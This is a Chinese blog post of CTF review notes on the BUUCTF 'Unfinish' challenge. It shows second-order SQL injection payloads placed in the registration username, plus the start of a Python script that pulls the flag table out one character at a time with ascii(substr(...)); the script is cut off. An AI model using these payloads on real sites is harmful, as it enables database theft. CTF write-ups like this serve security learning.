【复习】BUUCTF:[网鼎杯2018]Unfinish --- python爬虫 + re sql注入,substr二次注入,hex二次注入 不用bool注入点的substr

本文介绍了在BUUCTF中遇到的网鼎杯2018Unfinish挑战,通过分析注册过程中的SQL注入,探讨了不用bool注入点的substr和hex二次注入方法。作者分享了使用python爬虫配合正则表达式的payload构造过程,并强调了在substr思路中非贪婪模式的重要性。同时,文章提到了hex注入的新方法,为读者展示了如何利用16进制进行二次编码注入。
摘要由CSDN通过智能技术生成

一、自己做:

测试,看到用户名有回显,那么就是又一次从数据库中查询数据,可能有SQL注入的可能,然后我在注册用户名的时候,加上了 ',然后就死活注册不了,,
也不给我报错,,我在这里也想了一会,,想不明白

后来想到了,可能是报错,然后就没执行,然后我用了万能密码来的。

用户名:a'1 or '1

你注册成功后,他就会自动跳转到login.php的。

然后用邮箱,密码登陆成功了。 用户名为 :1 。
在这里插入图片描述

接着测试一下:

在这里插入图片描述,,直接没有变化,也就是 注册失败了。

在意料之内,这就表示 0 ,错误了,

然后进一步测试:

呃,有过滤,fuzz一下把,

用户名 : a1' or '(ascii(substr(database(),1,1))>0)

在这里插入图片描述

过滤的好像不多(至少从我的字典中看来):

这些都被过滤了。
在这里插入图片描述

二、学到的

  1. 这个 直接出 substr的数值,这个思路不需要 bool 注入点。强的一批。思路真心牛皮。
  2. 如果能够使用 substr 带出数据的话,试一下这个思路,不用bool注入点能够带出,同样,这个就不是bool注入了,是 二次注入。第二次查询。

三、 学习WP

payload的思路直接是抄袭的,侵权了联系我。

python爬虫 + re 尝试(尝试思路,):

1. substr思路:

注意,这里要带上 session,每一次注册,登陆是一次,是有记忆的。

#coding:utf-8
import requests
import re


url = 'http://4d7fce64-1ecf-41a0-a416-295a21ea6617.node3.buuoj.cn/'

m = ''
for i in range(100):
    payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)
    register = {
   'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值